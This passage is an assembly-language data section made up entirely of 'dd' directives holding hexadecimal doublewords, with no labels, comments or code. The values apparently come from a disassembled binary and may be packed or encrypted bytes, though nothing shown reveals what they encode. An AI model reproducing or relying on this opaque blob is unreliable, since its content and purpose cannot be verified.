0BCDE2CB3h dd 0A038DB24h, 9D09951Ah, 237DBC72h, 0EB41315Bh, 0F018E281h dd 33B8492Fh, 0CDEDF78Dh, 33822EC8h, 81D12429h, 2F15491Bh dd 85D53C67h, 1A5AA0BDh, 0A55C7B07h, 208F51Bh, 655FEBCEh dd 0A15E4F8Bh, 68630B91h, 59212AE1h, 0A879253Fh, 11972428h dd 8C142E9Ah, 0DB1EB698h, 0A1007C14h, 0EE9A813Eh, 37B305A8h dd 7A583C8h, 31BFFE24h, 442C9FF2h, 0CA5C10E2h, 0F60CDC12h dd 0CD7C09A7h, 45A3D0Ah, 0AB3EFD42h, 8EB4A35h, 612F0759h dd 2B0921E7h, 0B004326Eh, 0C1A53405h, 3F263D05h, 5528BDDh dd 0C090B22h, 59FB2829h, 1B33D70h, 6ECE6D3Ah, 2AE678A6h dd 8C02C4F3h, 0AC2504E0h, 5CDD5C40h, 616C5518h, 822B3582h dd 0CD25875Ch, 0B108C033h, 0FC5EF5AEh, 0A90AD834h, 0B89CA3D5h dd 61200B2Ah, 0D22B2403h, 50C7251Fh, 0C52003A8h, 806B911Fh dd 0CC569D88h, 0D6006171h, 66C13A4Fh, 2BF7BF2h, 786099FDh dd 72F3880Dh, 0DC88D8h, 2771FAD9h, 0F9C64ECh, 11B4BF79h dd 0A8437169h, 76F312D8h, 0B611F2B2h, 7EEF192Eh, 6ADE5671h dd 0B98497DBh, 0A2F8B8CEh, 99BDD58Fh, 0C63F9C80h, 0F222B40Bh dd 3D428EDh, 0E02CEBD9h, 7A2BE445h, 0AD6F00DFh, 966DFCAh dd 972970B5h, 300143B9h, 42B60B38h, 4BB72995h, 56BE2C94h dd 126AE8A2h, 0F70055Dh, 0F880ADh, 0CA1F0462h, 0F6546C29h dd 25B53700h, 0B70EC33h, 4B949761h, 71CBF069h, 1AFE462Bh dd 0E0544DBDh, 2B4C1A1Ch, 8BB4660Bh, 1BCD1D8h, 0DFC9A0FFh dd 0EE202B6Fh, 0AFB946h, 0EC74D5C0h, 6A75FDC3h, 976AC04h dd 2EBC5F93h, 915E79A3h, 0E8E13AA6h, 6BBB2F60h, 0C2260049h dd 0BB9DA4Dh, 53DA9DE1h, 0CB59BD3Eh, 12882BC9h, 0C9250E91h dd 0B7110309h, 53302B88h, 121FCB81h, 0F72C6C10h, 6A5F0Bh dd 7C4E1800h, 8EEDA308h, 0E8D01613h, 0CDE92817h, 0B9609000h dd 2184E99Eh, 5C65758h, 506158C8h, 518047FCh, 0F64D264Bh dd 34B6FE34h, 0D0E412BBh, 1B86668h, 0E0611638h, 2D9768A8h dd 87B5CA0h, 0F172C612h, 0E32EF125h, 0F75C52DAh, 0F489D449h dd 4AF45A03h, 92B189C2h, 0F0B2DB85h, 4096F1C6h, 5323BC40h dd 59FD00FFh, 35DFEF0Fh, 150024EBh, 3B12C076h, 255F16F7h dd 22EFC8E9h, 0EB8B9C60h, 0ABA97A2h, 9F50647Bh, 75951209h dd 41FDE728h, 4A4069F8h, 0A23BCDCDh, 80760FCEh, 0ACA7402Bh dd 4BDF267Dh, 76D79DE2h, 11BDA060h, 54660B4Bh, 0A7849830h dd 0F8065203h, 129089DFh, 0E719FD9Dh, 0BC6859D6h, 0EFFD2FCDh dd 755AB40h, 0C2FBB725h, 70D8F3DAh, 35163A2Bh, 8C888358h dd 0B2E9034Eh, 1525EACh, 772712D8h, 8E289501h, 0F686A82Bh dd 8682D0F1h, 5BE0B1CBh, 5AD43F6h, 24BF09C5h, 97E0AC97h dd 0E6BC3CB9h, 0EDCEEA05h, 529243CBh, 0DB680010h, 484A83E3h dd 8A8788FFh, 71C6FD49h, 849CE03Fh, 1A31B589h, 8BC1EAB9h dd 5750FCD9h, 5475D07Dh, 0DB031059h, 0EC2C1FEh, 1531B8CFh dd 933A02F1h, 5277075Dh, 6BA1FE5Dh, 3EBEA15Ah, 0F114DE40h dd 6F4000EBh, 0B820AA09h, 32F9222Bh, 0BA9A960Bh, 782DE8Eh dd 996D61F8h, 29AF58E0h, 0C28F00DFh, 281C1BDCh, 1D25BD89h dd 0A721ED1Fh, 33401ACDh, 93A8694h, 0BAB94B42h, 514BFA59h dd 4DB504E0h, 0E9FC050Ch, 0F88A5904h, 88AFE7B9h, 0A30CC414h dd 0EFA850A5h, 5E3FF912h, 0A388C8E2h, 80F9356Bh, 131E94EBh dd 0F40A3CD3h, 0FB276B84h, 0EC1B010Bh, 6D9F00F2h, 7EF19121h dd 990A0C49h, 0DF5F3C31h, 0B72B5A59h, 21E3B0ABh, 0B44B102Fh dd 922F78E2h, 0D84A9B96h, 97A33BBBh, 5256D81Ah, 89D78160h dd 60342F66h, 0DB562542h, 80BAB5E9h, 0A113A7Fh, 965BD0C5h dd 0B878AD20h, 45A20053h, 227C8836h, 0BFE65239h, 3DEC73F7h dd 3CFA00A1h, 8C1E172Dh, 41A41F96h, 0B59D0B1Fh, 0C2264AFEh dd 99D50F60h, 95360108h, 0CC68D261h, 0BB403EA3h, 2AE0F27Dh dd 9B965F72h, 0A64980CBh, 0ACF98B51h, 0DC4BB6ABh, 0D195A61Ch dd 1E61A9C0h, 0F43EBBD6h, 0CC5E4B6Bh, 0D0ACF827h, 0A2400AB6h dd 0F485F3AFh, 0FBC400DBh, 1C22710Fh, 5097CA1h, 57679818h dd 9B60E81Ah, 5B811AB5h, 0CC24342Fh, 8D00DBEAh, 867782F1h dd 4B48896Bh, 362BCD21h, 0BFDCF0B1h, 8D291354h, 52B3C135h dd 20EF2F60h, 619DB50Ch, 12325B4Eh, 0CA564051h, 42FF97Ch dd 0FD800F01h, 93345CD0h, 844B9BE6h, 9546B0Dh, 508CEFE6h dd 2E0D4126h, 0DBA61134h, 0DC7F02E5h, 0B4C18EA6h, 84F97CB5h dd 0E31213FDh, 0D92B2535h, 0FA7034A4h, 382A1535h, 8FD21EC0h dd 3FE2EF1Fh, 81B13350h, 872D53F8h, 98FE9A5Bh, 0FBF309h dd 5298FD8Ch, 7DBB918Bh, 7383965Fh, 0AD067750h, 0BFEA6047h dd 0E61E26D2h, 6D25E38Fh, 601D64F2h, 1E0FFA0h, 273A2D71h dd 2E7907EFh, 0EB81E530h, 32483C63h, 38A88A4Bh, 92A74E55h dd 275666B0h, 0CAE382B5h, 0BC8659ACh, 9936B481h, 75E23D2Bh dd 0F0F126E9h, 7CC70F21h, 99F152ECh, 2F966B93h, 663E40DDh dd 971DECBFh, 15918D35h, 0E8A3B581h, 9A7E1005h, 0E6B80435h dd 94F59509h, 4EBCB97Fh, 85C08B9Eh, 0C55F5DDBh, 0FC0F43B5h dd 69F6EF12h, 0A019F64Ah, 24CAFFEAh, 472C989h, 0B80B859Dh dd 4B75E3B9h, 719BAE36h, 49CABF80h, 0AD0DB250h, 0C8D6CDEFh dd 0D13D0FD1h, 1B6D9509h, 90053175h, 7940AA2Fh, 4B45593h dd 612625F9h, 4ACBF5C6h, 0C6FDA791h, 3B75F09h, 9E9AD180h dd 73F5DFAFh, 0DA16978Bh, 0B55F6590h, 0F397BAD0h, 0F689E2FFh dd 5BA5BFB9h, 0B821ADC1h, 0BB6117BCh, 6F686ADh, 51F7DA4Ah dd 9EACDB59h, 0AA5D1C00h, 0F0367D3Ch, 0F1E3987h, 5DBE31DBh dd 0C30D0408h, 0B42A6FE9h, 810260E0h, 0AF143CC2h, 0F392E10Dh dd 0FD01847Bh, 7E1BCB8h, 0AC177BCAh, 0A60410Dh, 0D17E614Eh dd 4D52A74Ch, 3B76C041h, 780532EBh, 0C74F99D2h, 5E609E02h dd 4121CF0Bh, 0E8E6AA9Fh, 330980AEh, 5E5EB7D9h, 8156AD39h dd 0DF2A0249h, 5C4650h, 8F2C32F7h, 0DB15E349h, 3C00D0Ah dd 73A5A92Bh, 7B4D70D1h, 9C35A02Eh, 0DABCB802h, 481143B2h dd 0F217684Eh, 0F214C52Ah, 0BC6A49A8h, 574226C7h, 82A51307h dd 0CE5F5FC1h, 0B6359FE5h, 7783ED00h, 48894701h, 0E74A96B5h dd 5EBE6925h, 0D1FF8038h, 20799529h, 2B16D797h, 0DC604F48h dd 2469164h, 0CDA59DB8h, 23ED8C90h, 0EAABBA00h, 0F26F6351h dd 50B7028Ah, 0A3FEE6BBh, 4787CF57h, 0AF0C149Fh, 92BE1476h dd 0F3994A12h, 5E6A8414h, 0A3830F04h, 0BDC1275Ah, 9528BEFh dd 2BDE5161h, 167D0EDDh, 0A33E7BA8h, 4F7A8BF6h, 2E3091Eh dd 4227DB6h, 5054C090h, 6EA3810Fh, 0E2CDA6D5h, 0C725E09Bh dd 0BA5F4BE5h, 0E62AD69Dh, 0E1BBA0C8h, 77AD124Ah, 0D1A7EE7Bh dd 0A806ED4Bh, 7F3A979Ch, 1D48974h, 236542C4h, 6876DE8Ah dd 0C271831Ah, 553BC05Eh, 0B1B201ECh, 0ADD80670h, 0DC0A7CCDh dd 21459DCBh, 0FF6A5BCAh, 0E2E1A62Ah, 7F48E2CAh, 0D4D41929h dd 1446804Eh, 12F96F9h, 0DD03B236h, 0C01F9A08h, 30975F2Bh dd 82012FA2h, 1831DB82h, 0F806B007h, 1F452012h, 0F870E624h dd 91DA108h, 988471E4h, 3094B9FAh, 0C780490Bh, 53602D13h dd 1F9F8210h, 0BD633F00h dd 0DB763E3Ch, 0FA210BD4h, 72F95BE9h, 4CC1B00h, 3842E7D1h dd 0B100E5F6h, 0DAE44856h, 0FB62C84Ah, 758FF72h, 0BD0990B6h dd 739529E9h, 0B7BB015Ch, 611ACB31h, 0F87530E2h, 0F9B90497h dd 517AADB8h, 4F20178Ah, 2B01F319h, 807F3CC8h, 0CDC1438Fh dd 416A0208h, 3B8311E5h, 0CD5F9641h, 0C4D3AD1h, 0C87F3115h dd 780075E5h, 0ED65AC4Fh, 7FB4A270h, 0B45057Bh, 0C48E3C2Dh dd 3828EE7Bh, 0C05F00B2h, 0E78AC2A5h, 467A55B5h, 0E33EF309h dd 0CDE07020h, 2F0CFBCEh, 0ADD734AFh, 970C22E2h, 0D68824D0h dd 929F3DE9h, 4F92D7ADh, 11BA7E63h, 2781B157h, 0A9EF8010h dd 8B09D980h, 0C859722Fh, 62718D10h, 45950D03h, 19259B66h dd 42877915h, 0BB00DCF3h, 30ACCA8Ah, 0BDAA6A3Fh, 389704C1h dd 123CBB96h, 0E8195982h, 0EEE080E0h, 757016h, 8925CB0Fh dd 12B98CB2h, 0E5A70A5Bh, 0A9EDD4A0h, 0D128BE14h, 18FD108Ah dd 9A68C5Fh, 2819D12h, 0F8399CE2h, 3F026E4Bh, 0A0D50BABh dd 2A7F9CFh, 17D79611h, 90D84377h, 0E272B4h, 94B09ED5h dd 0C0A2848Dh, 0C520CBAh, 1FE512C0h, 250D2B6h, 0F9C08A0Dh dd 9A166CD9h, 0AC804485h, 2F61AD34h, 186DD22Bh, 0DE5E80C0h dd 470903E2h, 0A6D23F48h, 1AD19610h, 156944h, 5DA3B8E8h dd 0F9F49F97h, 250B169Dh, 567BFE8Bh, 0E31815F9h, 880D2D12h dd 0C2EC05A9h, 6093AF02h, 0FA880FF2h, 0CCB72728h, 0DF79F59Ah dd 5A3E3800h, 0B5485Dh, 80893330h, 2B8B5C44h, 0EB86F702h dd 5EC8D1DFh, 1B716920h, 0DCD4545Ah, 0B72FE97Bh, 4816F870h dd 9CC1A0F9h, 70B5B424h, 0B00ADA26h, 0DAEDE810h, 8AAC5E60h dd 1A500021h, 0D0D2F998h, 0B7769314h, 1715A704h, 41BCF5D6h dd 0BA574CA2h, 60F05639h, 2F319D23h, 0B5E1FF80h, 0B601EB37h dd 0DEEAD682h, 116D1ECDh, 1311BD82h, 9D852900h, 0A990B520h dd 14975B92h, 0E104F4FEh, 0F060A66Bh, 91BCF9Fh, 0C72675C1h dd 47422079h, 6652EF04h, 309B876h, 0D121B2B6h, 61EB01EAh dd 2F4FD8C8h, 28EE0A29h, 82B760F6h, 9A00328Dh, 271CA8B1h dd 4B60ED11h, 0F6DD85F5h, 9F30E0C1h, 23B10097h, 70D781F6h dd 7C4B4EF3h, 6EFBFE84h, 98FB4B39h, 21B089C3h, 12662840h dd 0F4D2B8BFh, 378A3225h, 0B1DA96ADh, 0BF752A7Eh, 30A068F6h dd 7104688Dh, 86BB725h, 14A94281h, 0C70DD2Bh, 0D40926DFh dd 0CAFED542h, 0DC6FD4C9h, 1AECF3B5h, 625D4E82h, 0EFF65F46h dd 0C006B47Eh, 0AAF980B4h, 9D202DB0h, 4D849F0Dh, 0A118160Fh dd 4B03FF31h, 93EDF91Fh, 504232AEh, 67373ADEh, 426DC269h dd 0F1F7EACAh, 9B4100A7h, 4C8BFFB1h, 942A4A00h, 70D08E3Fh dd 1527150h, 56310F5Bh, 0DF585A5Fh, 0F4D38191h, 5502C536h dd 0CE5C12BBh, 0A9B85773h, 3E85109Dh, 50219F7Bh, 401C2E9h dd 0AD1D5082h, 0D46EFCD8h, 0C154B81Dh, 0C65BD33h, 0B838742Fh dd 0D76FD232h, 4A74CB0Eh, 0FA8ABBCEh, 412F0994h, 0F8B4979h dd 86B5F18Ah, 0AA4AAEEBh, 0B72FD936h, 1B4925F5h, 18E42FEDh dd 0A9E86463h, 89971427h, 0ED12982Ah, 261D079Bh, 424DD6FFh dd 61DC1F6Fh, 580F9650h, 529D9D8Bh, 0DA0CF0DFh, 41B26FBh dd 123DBD03h, 0F6B510BCh, 0C201A073h, 0DF68C4CEh, 5F588BFCh dd 0D0A34321h, 1FA850ECh, 40D690B5h, 83C27463h, 0F12FCE2h dd 52EBE368h, 4FF1881Ch, 1000DD7Fh, 6273EC44h, 7185E5BDh dd 0BE350118h, 6C567D1Ch, 0CC5625DBh, 667D6050h, 0FE1DD425h dd 616E6F65h, 7902432h, 8E68DAFAh, 4F51741Ah, 0D82FC6A5h dd 0C9B3208Ch, 0DEE80CD9h, 0E8536AB9h, 34049D77h, 0D373BD10h dd 91B843A9h, 7C943Fh, 5DCA7C7h, 0B0539051h, 5667803Ah dd 57ECCF5Bh, 7C900A99h, 0DA0F12D0h, 58554B0Bh, 84D1AC71h dd 2852B720h, 2C999D12h, 89C33CF3h, 0AEFCE9B5h, 9E581938h dd 7F00F633h, 535E4FBAh, 0E14DE988h, 0A0FBB72Eh, 4ABC13E1h dd 1008F867h, 205E2D91h, 6B9709AAh, 25F42838h, 7469E7F6h dd 957B59Fh, 6554052Bh, 72580E40h, 0CD37029Eh, 7F85C2AEh dd 1D043B54h, 6EFE5F43h, 963F0EA1h, 81834E25h, 60592AC1h dd 0DEC25685h, 0B95F82D8h, 7134A9F5h, 3FA144A4h, 0D3251B23h dd 0BB668362h, 0FEDA4739h, 6B8B5145h, 0F42F5604h, 501D7500h dd 39277426h, 0F5FC5CEDh, 9A207CC0h, 0AE00C347h, 745B2D98h dd 2580FC5Ah, 0B74D26C7h, 0B601964h, 4C123B91h, 6A521C1Ah dd 72EF3BC4h, 0CF5EF81Bh, 1AD19DC1h, 5D27CB2Bh, 2D4A8FFh dd 0C4FB6B08h, 1AD1A41Bh, 0ACA12C00h, 10D1F7h, 7B3C2883h dd 0CD4E8B91h, 0E21FBF38h, 2030DB2h, 0F40535Fh, 74D2E2D7h dd 0B06212F3h, 96042B6Dh, 21EBB4C5h, 3EC577D5h, 16D2FCE2h dd 135052E4h, 0BB7101C1h, 3096D7B3h, 0A4AD557h, 954BAEA7h dd 0E86DFD91h, 0E1840BBAh, 1B0FA2BDh, 9D89C420h, 0B5A711D9h dd 4062CD2Dh, 0A7332619h, 2B59B97h, 93656D8h, 4CF851BDh dd 64DBCD95h, 889C631Ah, 286E620Ah, 13CCB152h, 984D69E7h dd 258811B2h, 0FA9D00C4h, 5478947Dh, 9C396712h, 77DB81E7h dd 0C2832F69h, 1F6EAF2Fh, 9A99603h, 0F304298Dh, 61D88A60h dd 684DCCBCh, 0F7B80B12h, 0E9B64EADh, 0B1F8BA0h, 4F8F0F2Eh dd 6800AF48h, 0E1BD299Ah, 0AFBA9722h, 11DB755h, 0F9F6CE65h dd 0CB6F3B6Ah, 34157205h, 2B2AC2B5h, 2E0FA341h, 4C7394C8h dd 0F6A52E32h, 0A0A8A087h, 3BDDFE58h, 7392AE93h, 0D10EC85Eh dd 6C50C31Eh, 2E09BB01h, 57C45FD7h, 47B6B6C8h, 9D4D800Ah dd 0D9098809h, 0EFB2C9Eh, 6B68EEF0h, 9178C0A3h, 0AC539D07h dd 0B3437D0h, 5296EAEFh, 5F7C6F50h, 4B5554A8h, 972C7A00h dd 0E02A5EB4h, 8A2514F2h, 0C400EEA0h, 1965BE2h, 334B119Dh dd 0A88D514Ah, 599A7BA5h, 9DF81814h, 0BF661818h, 45B93927h dd 0ED3F1216h, 526AEDB3h, 85980497h, 96B3F051h, 0C236BF00h dd 0BB506327h, 7CA878B4h, 0A67AB905h, 456E01F6h, 324467CAh dd 0DDE49288h, 8A1C1CBBh, 349BE886h, 0EB2B04C8h, 0A021F7Bh dd 6BEF80C9h, 0F669B25Eh, 8EC525EFh, 7BAA8E12h, 730C0109h dd 0F1392302h, 142A4501h, 9E5B72B8h, 7106836Dh, 48CDF09Bh dd 6B8D1885h, 2C55628Eh, 0B2A3C082h, 20A925D8h, 0EF739DE2h dd 9C5B570h, 7E21B031h, 0B1E65189h, 71C3CD69h, 0E9F961A7h dd 5AC52B98h, 3E701FAh, 3F05B59Dh, 95821DF2h, 79292949h dd 0A0053FB9h, 0B934341h, 0AC5EFACEh, 41046D69h, 0A47A8425h dd 16DED23Ch, 3047EBAEh, 316DAF3Eh, 569CA800h, 0BC5DA64Dh dd 0B2A90709h, 0A5C0776Ch, 80EDDE6Ah, 78E59EB0h, 0A763F5Fh dd 29ED07A8h, 49E0309h, 0B90B6F2Ah, 0AAEBCD8h, 57D7D639h dd 1E8D09BEh, 0DB1132DDh, 0FF12508Fh, 0D5D16212h, 480B4A8h dd 82E4B04Eh, 9C4F2C7Fh, 0D062B3E3h, 5F050DC5h, 99D31F83h dd 232B9095h, 0D8B1355Ah, 80C120EFh, 93635500h, 5BE999D4h dd 8CBB07B0h, 75026B7Ah, 160DAE50h, 86D4BEDBh, 0E67F8A0Bh dd 73BB0529h, 0C25018BFh, 0EEDE5D8Fh, 5EF98A42h, 0BA005583h dd 83E112D6h, 91B51009h, 449BA506h, 0BC8893C4h, 0A0FFCE3Ch dd 0CF9EA8BBh, 6D1AC44Ch, 0E2A5BC1Ah, 73C42974h, 62E54800h dd 0BC4F88EFh, 92470E03h, 7A407EB7h, 81C01BF0h, 212554C5h dd 4B021FB4h, 164A250h, 96E7E567h, 0C9212C5Dh, 0C0AEDB2Eh dd 287ABF02h, 0DE38584Dh, 7F6B9CC0h, 1F0019F4h, 2A493489h dd 12AF1A11h, 0A082D79Bh dd 6C820278h, 91290E3h, 0C87E9D8h, 3462CA79h, 8580096Fh dd 8589182Ch, 5384615Fh, 0DAD3A7B9h, 5206808Eh, 2D23A0D9h dd 2A4A90F5h, 8AC32A6Bh, 0F6D380B9h, 86DC805Eh, 0BEAB0436h dd 0AEA84A3Ah, 200CF972h, 0D341107Fh, 4605CA00h, 65951262h dd 74B5977Ch, 28891491h, 11F59E02h, 8D09FF20h, 5B0E5CC5h dd 331D718Ch, 5C6D92BDh, 4211C42Fh, 0D7B06EB7h, 110DD24h dd 57BF70E6h, 9D03F1E4h, 0BD3F0E58h, 0F0254661h, 59A5F0F9h dd 6CEA08BDh, 89AB8964h, 60403010h, 2D4BC1B2h, 0BE8ED8h dd 3F14CC0Bh, 4D19E20Eh, 92779Dh, 2F78C65Fh, 905E615Fh dd 2C238293h, 810788BFh, 258C975Eh, 0D002C08Ah, 0B589C82Bh dd 9D428179h, 0D940A69h, 591391D1h, 5A8CF626h, 614D74DCh dd 0C5853328h, 5F986E03h, 546E018Ch, 1CEEC6F8h, 92DAC88Dh dd 5BA92958h, 3F74A3B2h, 0CEEE380h, 0F912D914h, 2212F301h dd 42E92F0Ah, 93D72B10h, 85F8B64Ah, 0EA5431CBh, 4410CC25h dd 0E7078128h, 8AC1C49h, 1B00A5F5h, 950B60FEh, 835FBC25h dd 8961F9BFh, 706A18D5h, 0CB4B13EBh, 4ECA11D8h, 0A041A7E8h dd 12495B50h, 0FE810F60h, 89842BF2h, 9F57BE8Dh, 302E99A1h dd 0FDC38138h, 1C092E0Fh, 0D50829B9h, 29076B3Dh, 0CF27BFDFh dd 18BC70E4h, 3BF7800Eh, 0B8704E97h, 0ECDBAD12h, 3C8E0BB3h dd 0E7D105E1h, 0FAD49F28h, 19458440h, 45CBA0Bh, 7B2D3562h dd 0C38084DFh, 0FCC4B91Eh, 5C018C1Ah, 0A55B9C1Bh, 0BE417BCBh dd 1052251h, 66920936h, 0B81B3935h, 0F6140085h, 381EEBF7h dd 0EE01B9D7h, 46DAF381h, 162F4A92h, 0E80CAD00h, 0B2E20411h dd 0BB1B9D17h, 0E6FB7209h, 65B3354Bh, 4C29AE16h, 72A75676h dd 75E7682h, 5535955Eh, 11EF2100h, 2CCCE1E5h, 99D9D6Ah dd 2576BD89h, 11E765A5h, 16BB021Eh, 4623F74Ch, 0C7810257h dd 4B99A46Ch, 7469F25Ch, 25F0224Eh, 0B9C5E1FFh, 1B9A218h dd 0C4315AB5h, 0A39DAC54h, 182750AAh, 77568A39h, 8B126151h dd 5126475h, 0C3BB6660h, 2A1BD2A9h, 0BCEF6C7Fh, 16B0D40Bh dd 87EB6E03h, 0BBBD0953h, 6054582Dh, 3FA23DC0h, 0B701418Ch dd 160A18E7h, 8FF0E6F4h, 0A48D5C30h, 0B0FB5C0h, 8E4B5BEFh dd 6EFE9684h, 726B14F3h, 2C291AB6h, 0A27C87E1h, 4E9172C9h dd 0ED6DFDF1h, 342BF8C9h, 1876401Fh, 83DA0F1Eh, 0B9DD3A00h dd 52D90494h, 7E8C7B02h, 287BE9A2h, 0CE3EAC73h, 0EF57095Fh dd 0A68D71F7h, 10B90897h, 0E6BF5001h, 596BDFF8h, 0D68DE4AEh dd 0BF1DAC44h, 7840A17Bh, 4C3CB268h, 0DA8B2559h, 4D1EF050h dd 164533Fh, 2B7C6A04h, 325274C5h, 1CACBEADh, 0DE62388Ch dd 0ACFA05F3h, 0AAF2B766h, 5C1210C2h, 9D82EF30h, 0B3252C5Dh dd 3AF67ED4h, 0FC2116E1h, 8148B79Bh, 0FDF8C024h, 0E94533ACh dd 8C50352Eh, 0F91C2D13h, 0B980A55Dh, 2E624A14h, 8FCDB53Ah dd 4A601964h, 0DB135D7Fh, 2004C9F5h, 75AE206Dh, 2BEF8B3h dd 5EFC52FAh, 62635C61h, 0ED7D89F5h, 0D5FEEBFDh, 0DC1E2909h dd 88F6C9B3h, 90124224h, 0B70F5B60h, 468927D9h, 0C0EF4A4Dh dd 62C8BB46h, 0A1E80534h, 0BCB1D380h, 0C076CF0Eh, 0FD1C3EA2h dd 52011E68h, 0B186171Ah, 0C2FA1B93h, 0C2CCA0DCh, 0AF85563Ah dd 0DEB074h, 5416AAEFh, 0CE3468E0h, 8B2D83E8h, 99170DFh dd 7C3E35CBh, 1559C209h, 0D4CB5EEBh, 0A3A4A800h, 0D0F10B29h dd 92C92F3Dh, 0C4348A82h, 0ABDEC44h, 5772CD17h, 800C64B5h dd 5ADB60CEh, 1D5FF0E1h, 277ECFB5h, 0F403D035h, 0E82D03C2h dd 4B14E67h, 1FBF6634h, 0A4F2A861h, 514F09h, 0E95FFE84h dd 115C226h, 69C8E595h, 6A12ACBBh, 0E3783Ah, 0ACA359BAh dd 0B32000ABh, 7E9A314Fh, 92B56051h, 0A833FDAEh, 9D57DAD8h dd 8CFA5B4Eh, 0C935FBBh, 258F1678h, 0F965DE8Bh, 0BB022611h dd 1A6B417Bh, 1425E396h, 0A65D5304h, 0A04B6084h, 2F0062A5h dd 0DC20EE42h, 9F71171h, 0F48C641Ch, 60898259h, 0F24B09F9h dd 8D614A49h, 0CA1D31D0h, 1A95CE58h, 0ACBDD145h, 0DDAD00B8h dd 8B9673EFh, 0BB50FE39h, 0E7DB4BD9h, 19825E8Bh, 15D7D1B3h dd 0EBD341A8h, 0F563C82Ah, 7D6C9A95h, 3190C0C6h, 0D8E2614Ah dd 4F2FA392h, 5AE0A6F6h, 9D019E58h, 0BDE20A1Ch, 846AD465h dd 82FFF83Fh, 56F2E3EFh, 375D6955h, 26360044h, 8E3E682h dd 5A6AD031h, 67CD271Ah, 7A5F0C2Dh, 106A002Fh, 0B529B942h dd 0E21F5A6Dh, 36F84F1Eh, 9ACA2680h, 0A71D2E59h, 8C77C70h dd 8F907D31h, 2F635C1Ch, 0F6614B48h, 605B0110h, 7735BF43h dd 0BD27EC53h, 9A4D443h, 0B4705A61h, 0C202DC56h, 118509A6h dd 3B37572Dh, 43821791h, 98F7642Dh, 1DDE644h, 24BD9B4Dh dd 2BC18337h, 3CB78D12h, 0AEB3D1B0h, 0BC34F29Dh, 88244042h dd 0B65BC16Ah, 55EF2C6h, 365181BFh, 3C27AC76h, 4CA64B39h dd 0DC5E3448h, 2B405D1Bh, 134FB096h, 8501E24h, 16B0046Dh dd 0B796A949h, 70E7A94Dh, 7CFFCCC0h, 8E13BFCBh, 7A5E04E8h dd 59A6C102h, 74E0DB62h, 1B46D600h, 150F5F00h, 82C5ACAFh dd 33E7035Ah, 94A8265Dh, 6258DE05h, 98041DA4h, 0BF000C15h dd 6A2FA256h, 4B5E9495h, 136C7B52h, 0AC08E8F2h, 4098AE10h dd 0FF4786ABh, 69204100h, 0F47834F2h, 0EF10B796h, 0DB003C08h dd 0F7736F4Ah, 1DD59F3Eh, 4FFF2529h, 804255ACh, 2F00BE2h dd 5DB6F84Bh, 17EB810Eh, 0AE7654E4h, 1EBD5475h, 0BE02C0A8h dd 0FECF7E1h, 1393448Dh, 91853160h, 4961F5C0h, 0E2466141h dd 7B323A57h, 0F71F503Ah, 0F8B1CA00h, 0E7E433BDh, 78C1BFBFh dd 0FD8A0113h, 5DAA282Bh, 6115E487h, 9D2145BAh, 2D15A66Fh dd 3D12739Dh, 0FEA3CF02h, 805649EBh, 5DE6926h, 0A6826611h dd 7DCE8184h, 793D2B0Ah, 0C69A06Ah, 0B06EE980h, 0B67FE3FCh dd 0B8D2E076h, 0D262B5CDh, 1883757h, 35950134h, 0B5E26A0Eh dd 0DA6AEFD2h, 532A430Bh, 501CA9DCh, 0C4B7CDADh, 0DA3D8232h dd 106DCBC0h, 7B3DFD9Dh, 0CB4D0D80h, 25BDE963h, 9F56F87Ah dd 91EA50F4h, 0F87D5BC4h, 0CAB53B33h, 2B368BDDh, 0BB6F42B0h dd 0DDB6A309h, 836E595Dh, 0CCBF0402h, 1B6D09C8h, 852AF01h dd 0BCFB43A9h, 5B8B0B6Bh, 9EF8ECA9h, 3ACF71Ah, 14A12C88h dd 1ABA25DFh, 4F416ACFh, 652B86F0h, 5D308C7Eh, 1999E400h dd 0E2AA83CAh, 8827001Dh, 0A11354B7h, 617C7D49h, 71DD5B4Ah dd 8E1DDA3Eh, 0F9482B1Dh, 18C6007Bh, 6F437DA3h, 4EB6D200h dd 99884912h, 0FF440285h, 97C780D1h, 0F5F8107Dh, 0CDFD000Bh dd 16CA4AECh, 0E600CFB4h, 22A8A756h, 950A9FADh, 7F708F94h dd 4F4C79Eh, 979ED2C7h, 6A71F0F5h, 0D8EA024Eh, 2E416D1Fh dd 0B5DE0434h, 8E252F52h, 0E0D3540Dh, 9C9D1E36h, 0F52A350Bh dd 0A6047782h, 0D275AD12h, 0F1B8F8A9h, 3E936D00h, 3228C903h dd 0C439B8A7h, 0AEC5E924h, 41CE6438h, 0B8923D7Dh, 3A610F2Dh dd 12E3CE63h, 95893137h, 3A386155h, 6DC0F7DBh, 7CCE4B39h dd 0DBCC884Ah, 0C3FE508Ah, 0E49058DFh, 0E69B80C0h, 3B02D7AAh dd 6B7FA85Ah, 25C1DC10h, 0F30565F6h, 449B9061h, 4241CDCBh dd 20122A91h, 3B8D6DABh, 0C501B76Eh, 9D8E2C7h, 710720FDh dd 94450B5Bh, 0F7B432D5h, 421825E3h, 5104EF66h, 0E61B529h dd 0B62965AEh, 0F9A7A079h, 0DF3E0437h, 0EDB509CAh, 172758F2h dd 5C7B0859h, 8FA860Eh, 107F1BC9h, 0A3290Dh, 0AF7C439Ch dd 5EB6E2EDh, 0E0B7B400h dd 0F9DC31B9h, 31605C5Bh, 23DDE930h, 0B0B6BD85h, 0E4D65625h dd 4ABD545Fh, 0F2935D1h, 2B80D509h, 12F8E320h, 0B85B4A1Dh dd 372578D2h, 3A39C95Fh, 9D2B4B85h, 0AC02D465h, 9884E3Ch dd 0A0380081h, 0F68D9E48h, 2501083Eh, 513DA8E8h, 0CB281C6Ch dd 26034DC0h, 780436F5h, 1A2A5896h, 0B5C25DB8h, 650E0169h dd 0EB56E59Dh, 9AB0716h, 0C455181Ch, 4B814BD6h, 1D295223h dd 21CF9055h, 0F6F842Ah, 60D164E6h, 6800A8B2h, 0AA2B65Eh dd 0D268088h, 0DF855787h, 0DCE2615Bh, 0D781F800h, 11196D40h dd 0D522B6B8h, 0F5EB041Fh, 0B8696379h, 9D230538h, 0A1891345h dd 409DD6C2h, 0A502D5FEh, 55478C00h, 7E2FAE50h, 758FA6FFh dd 0A1C7004Bh, 89F46FB5h, 5B4BC8C3h, 0B8305694h, 0B09ACE7h dd 0B531461Ch, 0E98DA356h, 0A33B2363h, 0C0BE4C14h, 0C57BD01Fh dd 0C9E03B27h, 0C2E6B99Fh, 195C1253h, 5F125BDCh, 3C226FE2h dd 3251F6A0h, 2DA5D5CAh, 80093D24h, 80B5D31Ch, 0DBA38E90h dd 25000583h, 75C2BE03h, 700BC1D9h, 0F8B526C9h, 6EAA09C2h dd 2195A685h, 2ED88BA8h, 0F30C8361h, 54A8EB04h, 0D60AE8E5h 